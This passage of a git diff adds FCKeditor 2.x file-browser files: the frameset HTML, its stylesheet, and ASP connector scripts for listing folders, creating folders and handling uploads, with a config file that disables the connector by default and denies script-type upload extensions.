+       <table width="100%" cellpadding="0" cellspacing="0" style="height: 100%; table-layout: fixed">
+               <tr id="xToolbarRow" style="display: none">
+                       <td id="xToolbarSpace" style="overflow: hidden">
+                               <table width="100%" cellpadding="0" cellspacing="0">
+                                       <tr id="xCollapsed" style="display: none">
+                                               <td id="xExpandHandle" class="TB_Expand" colspan="3">
+                                                       <img class="TB_ExpandImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                       </tr>
+                                       <tr id="xExpanded" style="display: none">
+                                               <td id="xTBLeftBorder" class="TB_SideBorder" style="width: 1px; display: none;"></td>
+                                               <td id="xCollapseHandle" style="display: none" class="TB_Collapse" valign="bottom">
+                                                       <img class="TB_CollapseImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                               <td id="xToolbar" class="TB_ToolbarSet"></td>
+                                               <td class="TB_SideBorder" style="width: 1px"></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td id="xEditingArea" valign="top" style="height: 100%"></td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/browser.css b/fckeditor/editor/filemanager/browser/default/browser.css
new file mode 100755 (executable)
index 0000000..3e7ac06
--- /dev/null
@@ -0,0 +1,92 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: browser.css
+ *     CSS styles used by all pages that compose the File Browser.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       background-color: #f1f1e3;
+}
+
+form
+{
+       margin: 0px 0px 0px 0px ;
+       padding: 0px 0px 0px 0px ;
+}
+
+.Frame
+{
+       background-color: #f1f1e3;
+       border-color: #f1f1e3;
+       border-right: thin inset;
+       border-top: thin inset;
+       border-left: thin inset;
+       border-bottom: thin inset;
+}
+
+body.FileArea
+{
+
+       background-color: #ffffff;
+}
+
+body, td, input, select
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+.ActualFolder
+{
+       font-weight: bold;
+       font-size: 14px;
+}
+
+.PopupButtons
+{
+       border-top: #d5d59d 1px solid;
+       background-color: #e3e3c7;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button, button
+{
+       border-right: #737357 1px solid;
+       border-top: #737357 1px solid;
+       border-left: #737357 1px solid;
+       color: #3b3b1f;
+       border-bottom: #737357 1px solid;
+       background-color: #c7c78f;
+}
+
+.FolderListCurrentFolder img
+{
+       background-image: url(images/FolderOpened.gif);
+}
+
+.FolderListFolder img
+{
+       background-image: url(images/Folder.gif);
+}
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/browser.html b/fckeditor/editor/filemanager/browser/default/browser.html
new file mode 100755 (executable)
index 0000000..d607613
--- /dev/null
@@ -0,0 +1,158 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: browser.html
+ *     This page compose the File Browser dialog frameset.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title>FCKeditor - Resources Browser</title>
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/fckxml.js"></script>
+               <script language="javascript">
+
+function GetUrlParam( paramName )
+{
+       var oRegex = new RegExp( '[\?&]' + paramName + '=([^&]+)', 'i' ) ;
+       var oMatch = oRegex.exec( window.top.location.search ) ;
+       
+       if ( oMatch && oMatch.length > 1 )
+               return decodeURIComponent( oMatch[1] ) ;
+       else
+               return '' ;
+}
+
+var oConnector = new Object() ;
+oConnector.CurrentFolder       = '/' ;
+
+var sConnUrl = GetUrlParam( 'Connector' ) ;
+
+// Gecko has some problems when using relative URLs (not starting with slash).
+if ( sConnUrl.substr(0,1) != '/' && sConnUrl.indexOf( '://' ) < 0 )
+       sConnUrl = window.location.href.replace( /browser.html.*$/, '' ) + sConnUrl ;
+
+oConnector.ConnectorUrl = sConnUrl + ( sConnUrl.indexOf('?') != -1 ? '&' : '?' ) ;
+
+var sServerPath = GetUrlParam( 'ServerPath' ) ;
+if ( sServerPath.length > 0 )
+       oConnector.ConnectorUrl += 'ServerPath=' + encodeURIComponent( sServerPath ) + '&' ;
+
+oConnector.ResourceType                = GetUrlParam( 'Type' ) ;
+oConnector.ShowAllTypes                = ( oConnector.ResourceType.length == 0 ) ;
+
+if ( oConnector.ShowAllTypes )
+       oConnector.ResourceType = 'File' ;
+
+oConnector.SendCommand = function( command, params, callBackFunction )
+{
+       var sUrl = this.ConnectorUrl + 'Command=' + command ;
+       sUrl += '&Type=' + this.ResourceType ;
+       sUrl += '&CurrentFolder=' + encodeURIComponent( this.CurrentFolder ) ;
+       
+       if ( params ) sUrl += '&' + params ;
+
+       var oXML = new FCKXml() ;
+       
+       if ( callBackFunction )
+               oXML.LoadUrl( sUrl, callBackFunction ) ;        // Asynchronous load.
+       else
+               return oXML.LoadUrl( sUrl ) ;
+
+       return null ;
+}
+
+oConnector.CheckError = function( responseXml )
+{
+       var iErrorNumber = 0 ;
+       var oErrorNode = responseXml.SelectSingleNode( 'Connector/Error' ) ;
+       
+       if ( oErrorNode )
+       {
+               iErrorNumber = parseInt( oErrorNode.attributes.getNamedItem('number').value, 10 ) ;
+               
+               switch ( iErrorNumber )
+               {
+                       case 0 :
+                               break ;
+                       case 1 :        // Custom error. Message placed in the "text" attribute.
+                               alert( oErrorNode.attributes.getNamedItem('text').value ) ;
+                               break ;
+                       case 101 :
+                               alert( 'Folder already exists' ) ;
+                               break ;
+                       case 102 :
+                               alert( 'Invalid folder name' ) ;
+                               break ;
+                       case 103 :
+                               alert( 'You have no permissions to create the folder' ) ;
+                               break ;
+                       case 110 :
+                               alert( 'Unknown error creating folder' ) ;
+                               break ;
+                       default :
+                               alert( 'Error on your request. Error number: ' + iErrorNumber ) ;
+                               break ;
+               }
+       }
+       return iErrorNumber ;
+}
+
+var oIcons = new Object() ;
+
+oIcons.AvailableIconsArray = [ 
+       'ai','avi','bmp','cs','dll','doc','exe','fla','gif','htm','html','jpg','js',
+       'mdb','mp3','pdf','ppt','rdp','swf','swt','txt','vsd','xls','xml','zip' ] ;
+       
+oIcons.AvailableIcons = new Object() ;
+
+for ( var i = 0 ; i < oIcons.AvailableIconsArray.length ; i++ )
+       oIcons.AvailableIcons[ oIcons.AvailableIconsArray[i] ] = true ;
+
+oIcons.GetIcon = function( fileName )
+{
+       var sExtension = fileName.substr( fileName.lastIndexOf('.') + 1 ).toLowerCase() ;
+
+       if ( this.AvailableIcons[ sExtension ] == true )
+               return sExtension ;
+       else
+               return 'default.icon' ;
+}
+               </script>
+       </head>
+       <frameset cols="150,*" class="Frame" framespacing="3" bordercolor="#f1f1e3" frameborder="1">
+               <frameset rows="50,*" framespacing="0">
+                       <frame src="frmresourcetype.html" scrolling="no" frameborder="0">
+                       <frame name="frmFolders" src="frmfolders.html" scrolling="auto" frameborder="1">
+               </frameset>
+               <frameset rows="50,*,50" framespacing="0">
+                       <frame name="frmActualFolder" src="frmactualfolder.html" scrolling="no" frameborder="0">
+                       <frame name="frmResourcesList" src="frmresourceslist.html" scrolling="auto" frameborder="1">
+                       <frameset cols="150,*,0" framespacing="0" frameborder="0">
+                               <frame name="frmCreateFolder" src="frmcreatefolder.html" scrolling="no" frameborder="0">
+                               <frame name="frmUpload" src="frmupload.html" scrolling="no" frameborder="0">
+                               <frame name="frmUploadWorker" src="javascript:void(0)" scrolling="no" frameborder="0">
+                       </frameset>
+               </frameset>
+       </frameset>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/basexml.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/basexml.asp
new file mode 100755 (executable)
index 0000000..8160bd8
--- /dev/null
@@ -0,0 +1,66 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: basexml.asp
+ *     This file include the functions that create the base XML output.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+
+Sub SetXmlHeaders()
+       ' Cleans the response buffer.
+       Response.Clear()
+
+       ' Prevent the browser from caching the result.
+       Response.CacheControl = "no-cache"
+
+       ' Set the response format.
+       Response.CharSet                = "UTF-8"
+       Response.ContentType    = "text/xml"
+End Sub
+
+Sub CreateXmlHeader( command, resourceType, currentFolder )
+       ' Create the XML document header.
+       Response.Write "<?xml version=""1.0"" encoding=""utf-8"" ?>"
+
+       ' Create the main "Connector" node.
+       Response.Write "<Connector command=""" & command & """ resourceType=""" & resourceType & """>"
+       
+       ' Add the current folder node.
+       Response.Write "<CurrentFolder path=""" & ConvertToXmlAttribute( currentFolder ) & """ url=""" & ConvertToXmlAttribute( GetUrlFromPath( resourceType, currentFolder) ) & """ />"
+End Sub
+
+Sub CreateXmlFooter()
+       Response.Write "</Connector>"
+End Sub
+
+Sub SendError( number, text )
+       SetXmlHeaders
+       
+       ' Create the XML document header.
+       Response.Write "<?xml version=""1.0"" encoding=""utf-8"" ?>"
+       
+       Response.Write "<Connector><Error number=""" & number & """ text=""" & Server.HTMLEncode( text ) & """ /></Connector>"
+       
+       Response.End
+End Sub
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/class_upload.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/class_upload.asp
new file mode 100755 (executable)
index 0000000..52bcf06
--- /dev/null
@@ -0,0 +1,238 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: class_upload.asp
+ *     These are the classes used to handle ASP upload without using third
+ *     part components (OCX/DLL).
+ * 
+ * File Authors:
+ *             NetRube (netrube@126.com)
+-->
+<%
+'**********************************************
+' File:                NetRube_Upload.asp
+' Version:     NetRube Upload Class Version 2.1 Build 20050228
+' Author:      NetRube
+' Email:       NetRube@126.com
+' Date:                02/28/2005
+' Comments:    The code for the Upload.
+'                      This can free usage, but please
+'                      not to delete this copyright information.
+'                      If you have a modification version,
+'                      Please send out a duplicate to me.
+'**********************************************
+' 文件名:   NetRube_Upload.asp
+' 版本:              NetRube Upload Class Version 2.1 Build 20050228
+' 作者:              NetRube(网络乡巴佬)
+' 电子邮件:        NetRube@126.com
+' 日期:              2005年02月28日
+' 声明:              文件上传类
+'                      本上传类可以自由使用,但请保留此版权声明信息
+'                      如果您对本上传类进行修改增强,
+'                      请发送一份给俺。
+'**********************************************
+
+Class NetRube_Upload
+
+       Public  File, Form
+       Private oSourceData
+       Private nMaxSize, nErr, sAllowed, sDenied
+       
+       Private Sub Class_Initialize
+               nErr            = 0
+               nMaxSize        = 1048576
+               
+               Set File                        = Server.CreateObject("Scripting.Dictionary")
+               File.CompareMode        = 1
+               Set Form                        = Server.CreateObject("Scripting.Dictionary")
+               Form.CompareMode        = 1
+               
+               Set oSourceData         = Server.CreateObject("ADODB.Stream")
+               oSourceData.Type        = 1
+               oSourceData.Mode        = 3
+               oSourceData.Open
+       End Sub
+       
+       Private Sub Class_Terminate
+               Form.RemoveAll
+               Set Form = Nothing
+               File.RemoveAll
+               Set File = Nothing
+               
+               oSourceData.Close
+               Set oSourceData = Nothing
+       End Sub
+       
+       Public Property Get Version
+               Version = "NetRube Upload Class Version 1.0 Build 20041218"
+       End Property
+
+       Public Property Get ErrNum
+               ErrNum  = nErr
+       End Property
+       
+       Public Property Let MaxSize(nSize)
+               nMaxSize        = nSize
+       End Property
+       
+       Public Property Let Allowed(sExt)
+               sAllowed        = sExt
+       End Property
+       
+       Public Property Let Denied(sExt)
+               sDenied = sExt
+       End Property
+
+       Public Sub GetData
+               Dim aCType
+               aCType = Split(Request.ServerVariables("HTTP_CONTENT_TYPE"), ";")
+               If aCType(0) <> "multipart/form-data" Then
+                       nErr = 1
+                       Exit Sub
+               End If
+               
+               Dim nTotalSize
+               nTotalSize      = Request.TotalBytes
+               If nTotalSize < 1 Then
+                       nErr = 2
+                       Exit Sub
+               End If
+               If nMaxSize > 0 And nTotalSize > nMaxSize Then
+                       nErr = 3
+                       Exit Sub
+               End If
+               
+               oSourceData.Write Request.BinaryRead(nTotalSize)
+               oSourceData.Position = 0
+               
+               Dim oTotalData, oFormStream, sFormHeader, sFormName, bCrLf, nBoundLen, nFormStart, nFormEnd, nPosStart, nPosEnd, sBoundary
+               
+               oTotalData      = oSourceData.Read
+               bCrLf           = ChrB(13) & ChrB(10)
+               sBoundary       = MidB(oTotalData, 1, InStrB(1, oTotalData, bCrLf) - 1)
+               nBoundLen       = LenB(sBoundary) + 2
+               nFormStart      = nBoundLen
+               
+               Set oFormStream = Server.CreateObject("ADODB.Stream")
+               
+               Do While (nFormStart + 2) < nTotalSize
+                       nFormEnd        = InStrB(nFormStart, oTotalData, bCrLf & bCrLf) + 3
+                       
+                       With oFormStream
+                               .Type   = 1
+                               .Mode   = 3
+                               .Open
+                               oSourceData.Position = nFormStart
+                               oSourceData.CopyTo oFormStream, nFormEnd - nFormStart
+                               .Position       = 0
+                               .Type           = 2
+                               .CharSet        = "UTF-8"
+                               sFormHeader     = .ReadText
+                               .Close
+                       End With
+                       
+                       nFormStart      = InStrB(nFormEnd, oTotalData, sBoundary) - 1
+                       nPosStart       = InStr(22, sFormHeader, " name=", 1) + 7
+                       nPosEnd         = InStr(nPosStart, sFormHeader, """")
+                       sFormName       = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
+                       
+                       If InStr(45, sFormHeader, " filename=", 1) > 0 Then
+                               Set File(sFormName)                     = New NetRube_FileInfo
+                               File(sFormName).FormName        = sFormName
+                               File(sFormName).Start           = nFormEnd
+                               File(sFormName).Size            = nFormStart - nFormEnd - 2
+                               nPosStart                                       = InStr(nPosEnd, sFormHeader, " filename=", 1) + 11
+                               nPosEnd                                         = InStr(nPosStart, sFormHeader, """")
+                               File(sFormName).ClientPath      = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
+                               File(sFormName).Name            = Mid(File(sFormName).ClientPath, InStrRev(File(sFormName).ClientPath, "\") + 1)
+                               File(sFormName).Ext                     = LCase(Mid(File(sFormName).Name, InStrRev(File(sFormName).Name, ".") + 1))
+                               nPosStart                                       = InStr(nPosEnd, sFormHeader, "Content-Type: ", 1) + 14
+                               nPosEnd                                         = InStr(nPosStart, sFormHeader, vbCr)
+                               File(sFormName).MIME            = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
+                       Else
+                               With oFormStream
+                                       .Type   = 1
+                                       .Mode   = 3
+                                       .Open
+                                       oSourceData.Position = nPosEnd
+                                       oSourceData.CopyTo oFormStream, nFormStart - nFormEnd - 2
+                                       .Position       = 0
+                                       .Type           = 2
+                                       .CharSet        = "UTF-8"
+                                       Form(sFormName) = .ReadText
+                                       .Close
+                               End With
+                       End If
+                       
+                       nFormStart      = nFormStart + nBoundLen
+               Loop
+               
+               oTotalData = ""
+               Set oFormStream = Nothing
+       End Sub
+
+       Public Sub SaveAs(sItem, sFileName)
+               If File(sItem).Size < 1 Then
+                       nErr = 2
+                       Exit Sub
+               End If
+               
+               If Not IsAllowed(File(sItem).Ext) Then
+                       nErr = 4
+                       Exit Sub
+               End If
+               
+               Dim oFileStream
+               Set oFileStream = Server.CreateObject("ADODB.Stream")
+               With oFileStream
+                       .Type           = 1
+                       .Mode           = 3
+                       .Open
+                       oSourceData.Position = File(sItem).Start
+                       oSourceData.CopyTo oFileStream, File(sItem).Size
+                       .Position       = 0
+                       .SaveToFile sFileName, 2
+                       .Close
+               End With
+               Set oFileStream = Nothing
+       End Sub
+       
+       Private Function IsAllowed(sExt)
+               Dim oRE
+               Set oRE = New RegExp
+               oRE.IgnoreCase  = True
+               oRE.Global              = True
+               
+               If sDenied = "" Then
+                       oRE.Pattern     = sAllowed
+                       IsAllowed       = (sAllowed = "") Or oRE.Test(sExt)
+               Else
+                       oRE.Pattern     = sDenied
+                       IsAllowed       = Not oRE.Test(sExt)
+               End If
+               
+               Set oRE = Nothing
+       End Function
+End Class
+
+Class NetRube_FileInfo
+       Dim FormName, ClientPath, Path, Name, Ext, Content, Size, MIME, Start
+End Class
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/commands.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/commands.asp
new file mode 100755 (executable)
index 0000000..8379095
--- /dev/null
@@ -0,0 +1,187 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: commands.asp
+ *     This file include the functions that handle the Command requests
+ *     in the ASP Connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+Sub GetFolders( resourceType, currentFolder )
+       ' Map the virtual path to the local server path.
+       Dim sServerDir
+       sServerDir = ServerMapFolder( resourceType, currentFolder )
+
+       ' Open the "Folders" node.
+       Response.Write "<Folders>"
+
+       Dim oFSO, oCurrentFolder, oFolders, oFolder
+       Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       Set oCurrentFolder = oFSO.GetFolder( sServerDir )
+       Set oFolders = oCurrentFolder.SubFolders
+
+       For Each oFolder in oFolders
+               Response.Write "<Folder name=""" & ConvertToXmlAttribute( oFolder.name ) & """ />"
+       Next
+       
+       Set oFSO = Nothing
+       
+       ' Close the "Folders" node.
+       Response.Write "</Folders>"
+End Sub
+
+Sub GetFoldersAndFiles( resourceType, currentFolder )
+       ' Map the virtual path to the local server path.
+       Dim sServerDir
+       sServerDir = ServerMapFolder( resourceType, currentFolder )
+
+       Dim oFSO, oCurrentFolder, oFolders, oFolder, oFiles, oFile
+       Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       Set oCurrentFolder = oFSO.GetFolder( sServerDir )
+       Set oFolders    = oCurrentFolder.SubFolders
+       Set oFiles              = oCurrentFolder.Files
+       
+       ' Open the "Folders" node.
+       Response.Write "<Folders>"
+       
+       For Each oFolder in oFolders
+               Response.Write "<Folder name=""" & ConvertToXmlAttribute( oFolder.name ) & """ />"
+       Next
+       
+       ' Close the "Folders" node.
+       Response.Write "</Folders>"
+               
+       ' Open the "Files" node.
+       Response.Write "<Files>"
+       
+       For Each oFile in oFiles
+               Dim iFileSize
+               iFileSize = Round( oFile.size / 1024 )
+               If ( iFileSize < 1 AND oFile.size <> 0 ) Then iFileSize = 1
+               
+               Response.Write "<File name=""" & ConvertToXmlAttribute( oFile.name ) & """ size=""" & iFileSize & """ />"
+       Next
+       
+       ' Close the "Files" node.
+       Response.Write "</Files>"
+End Sub
+
+Sub CreateFolder( resourceType, currentFolder )
+       Dim sErrorNumber
+
+       Dim sNewFolderName
+       sNewFolderName = Request.QueryString( "NewFolderName" )
+
+       If ( sNewFolderName = "" OR InStr( 1, sNewFolderName, ".." ) > 0  ) Then
+               sErrorNumber = "102"
+       Else
+               ' Map the virtual path to the local server path of the current folder.
+               Dim sServerDir
+               sServerDir = ServerMapFolder( resourceType, currentFolder & "/" & sNewFolderName )
+               
+               On Error Resume Next
+
+               CreateServerFolder sServerDir
+               
+               Dim iErrNumber, sErrDescription
+               iErrNumber              = err.number
+               sErrDescription = err.Description
+               
+               On Error Goto 0
+               
+               Select Case iErrNumber
+                       Case 0
+                               sErrorNumber = "0"
+                       Case 52
+                               sErrorNumber = "102"    ' Invalid Folder Name.
+                       Case 70
+                               sErrorNumber = "103"    ' Security Error.
+                       Case 76
+                               sErrorNumber = "102"    ' Path too long.
+                       Case Else
+                               sErrorNumber = "110"
+               End Select
+       End If
+
+       ' Create the "Error" node.
+       Response.Write "<Error number=""" & sErrorNumber & """ originalNumber=""" & iErrNumber & """ originalDescription=""" & ConvertToXmlAttribute( sErrDescription ) & """ />"
+End Sub
+
+Sub FileUpload( resourceType, currentFolder )
+       Dim oUploader
+       Set oUploader = New NetRube_Upload
+       oUploader.MaxSize       = 0
+       oUploader.Allowed       = ConfigAllowedExtensions.Item( resourceType )
+       oUploader.Denied        = ConfigDeniedExtensions.Item( resourceType )
+       oUploader.GetData
+
+       Dim sErrorNumber
+       sErrorNumber = "0"
+       
+       Dim sFileName, sOriginalFileName, sExtension
+       sFileName = ""
+
+       If oUploader.ErrNum > 1 Then
+               sErrorNumber = "202"
+       Else
+               ' Map the virtual path to the local server path.
+               Dim sServerDir
+               sServerDir = ServerMapFolder( resourceType, currentFolder )
+
+               Dim oFSO
+               Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       
+               ' Get the uploaded file name.
+               sFileName       = oUploader.File( "NewFile" ).Name
+               sExtension      = oUploader.File( "NewFile" ).Ext
+               sOriginalFileName = sFileName
+
+               Dim iCounter
+               iCounter = 0
+
+               Do While ( True )
+                       Dim sFilePath
+                       sFilePath = sServerDir & sFileName
+
+                       If ( oFSO.FileExists( sFilePath ) ) Then
+                               iCounter = iCounter + 1
+                               sFileName = RemoveExtension( sOriginalFileName ) & "(" & iCounter & ")." & sExtension
+                               sErrorNumber = "201"
+                       Else
+                               oUploader.SaveAs "NewFile", sFilePath
+                               If oUploader.ErrNum > 0 Then sErrorNumber = "202"
+                               Exit Do
+                       End If
+               Loop
+       End If
+
+       Set oUploader   = Nothing
+
+       Response.Clear
+
+       Response.Write "<script type=""text/javascript"">"
+       Response.Write "window.parent.frames['frmUpload'].OnUploadCompleted(" & sErrorNumber & ",'" & Replace( sFileName, "'", "\'" ) & "') ;"
+       Response.Write "</script>"
+
+       Response.End
+End Sub
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/config.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/config.asp
new file mode 100755 (executable)
index 0000000..2c360c6
--- /dev/null
@@ -0,0 +1,53 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.asp
+ *     Configuration file for the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+
+' SECURITY: You must explicitelly enable this "connector" (set it to "True"). 
+Dim ConfigIsEnabled
+ConfigIsEnabled = False
+
+' Path to user files relative to the document root.
+Dim ConfigUserFilesPath
+ConfigUserFilesPath = "/userfiles/"
+
+Dim ConfigAllowedExtensions, ConfigDeniedExtensions
+Set ConfigAllowedExtensions    = CreateObject( "Scripting.Dictionary" )
+Set ConfigDeniedExtensions     = CreateObject( "Scripting.Dictionary" )
+
+ConfigAllowedExtensions.Add    "File", ""
+ConfigDeniedExtensions.Add     "File", "html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis"
+
+ConfigAllowedExtensions.Add    "Image", "jpg|gif|jpeg|png|bmp"
+ConfigDeniedExtensions.Add     "Image", ""
+
+ConfigAllowedExtensions.Add    "Flash", "swf|fla"
+ConfigDeniedExtensions.Add     "Flash", ""
+
+ConfigAllowedExtensions.Add    "Media", "swf|fla|jpg|gif|jpeg|png|avi|mpg|mpeg|mp(1-4)|wma|wmv|wav|mid|midi|rmi|rm|ram|rmvb|mov|qt"
+ConfigDeniedExtensions.Add     "Media", ""
+
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp
new file mode 100755 (executable)
index 0000000..34a3814
--- /dev/null
@@ -0,0 +1,128 @@
+<%@ CodePage=65001 Language="VBScript"%>
+<%
+Option Explicit
+Response.Buffer = True
+%>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.asp
+ *     This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!--#include file="config.asp"-->
+<!--#include file="util.asp"-->
+<!--#include file="io.asp"-->
+<!--#include file="basexml.asp"-->
+<!--#include file="commands.asp"-->
+<!--#include file="class_upload.asp"-->
+<%
+
+If ( ConfigIsEnabled = False ) Then
+       SendError 1, "This connector is disabled. Please check the ""editor/filemanager/browser/default/connectors/asp/config.asp"" file"
+End If
+
+' Get the "UserFiles" path.
+Dim sUserFilesPath
+
+If ( Not IsEmpty( ConfigUserFilesPath ) ) Then
+       sUserFilesPath = ConfigUserFilesPath
+
+       If ( Right( sUserFilesPath, 1 ) <> "/" ) Then
+               sUserFilesPath = sUserFilesPath & "/"
+       End If
+Else
+       sUserFilesPath = "/userfiles/"
+End If
+
+' Map the "UserFiles" path to a local directory.
+Dim sUserFilesDirectory
+sUserFilesDirectory = Server.MapPath( sUserFilesPath )
+
+If ( Right( sUserFilesDirectory, 1 ) <> "\" ) Then
+       sUserFilesDirectory = sUserFilesDirectory & "\"
+End If
+
+DoResponse
+
+Sub DoResponse()
+       Dim sCommand, sResourceType, sCurrentFolder
+       
+       ' Get the main request information.
+       sCommand = Request.QueryString("Command")
+       If ( sCommand = "" ) Then Exit Sub
+
+       sResourceType = Request.QueryString("Type")
+       If ( sResourceType = "" ) Then Exit Sub
+       
+       sCurrentFolder = Request.QueryString("CurrentFolder")
+       If ( sCurrentFolder = "" ) Then Exit Sub
+
+       ' Check if it is an allower resource type.
+       if ( Not IsAllowedType( sResourceType ) ) Then Exit Sub
+
+       ' Check the current folder syntax (must begin and start with a slash).
+       If ( Right( sCurrentFolder, 1 ) <> "/" ) Then sCurrentFolder = sCurrentFolder & "/"
+       If ( Left( sCurrentFolder, 1 ) <> "/" ) Then sCurrentFolder = "/" & sCurrentFolder
+
+       ' Check for invalid folder paths (..)
